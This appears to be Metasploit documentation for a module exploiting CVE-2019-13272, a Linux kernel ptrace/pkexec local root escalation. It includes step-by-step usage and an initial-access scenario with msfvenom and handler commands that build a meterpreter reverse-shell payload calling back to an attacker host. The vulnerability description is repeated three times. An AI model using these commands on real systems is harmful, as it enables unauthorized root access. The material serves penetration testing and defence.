List of CVEs: CVE-2019-13272
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent. In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.

Knowledge Base
Vulnerable Application
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent.
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

Verification Steps
- Start msfconsole
- Get a shell or meterpreter session on the target
- Do:
use exploit/linux/local/ptrace_traceme_pkexec_helper
- Do:
set session #
- Do:
exploit
Options
WritableDir
A folder we can write files to. Defaults to /tmp
COMPILE
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
Scenarios
Ubuntu 18.04 (with Linux 4.15.0-13-generic)
Initial Access
We need to gain an initial session on the target system before we can use this module. Additionally this module will only work from a GUI session, and will fail with an SSH session. In order to gain a compatible session we will upload a payload binary and run it from gnome-terminal.
# Create a payload binary
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o binary
# Start a handler
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run

Escalate
In this scenario, gcc is installed so we can live compile on the system.

Description:
This module exploits an issue in ptrace_link in kernel/ptrace.c
before Linux kernel 5.1.17. This issue can be exploited from a Linux
desktop terminal, but not over an SSH session, as it requires
execution from within the context of a user with an active Polkit
agent. In the Linux kernel before 5.1.17, ptrace_link in
kernel/ptrace.c mishandles the recording of the credentials of a
process that wants to create a ptrace relationship, which allows
local users to obtain root access by leveraging certain scenarios
with a parent-child process relationship, where a parent drops
privileges and calls execve (potentially allowing control by an
attacker). One contributing factor is an object lifetime issue
(which can also cause a panic). Another contributing factor is
incorrect marking of a ptrace relationship as privileged, which is
exploitable through (for example) Polkit's pkexec helper with
PTRACE_TRACEME.
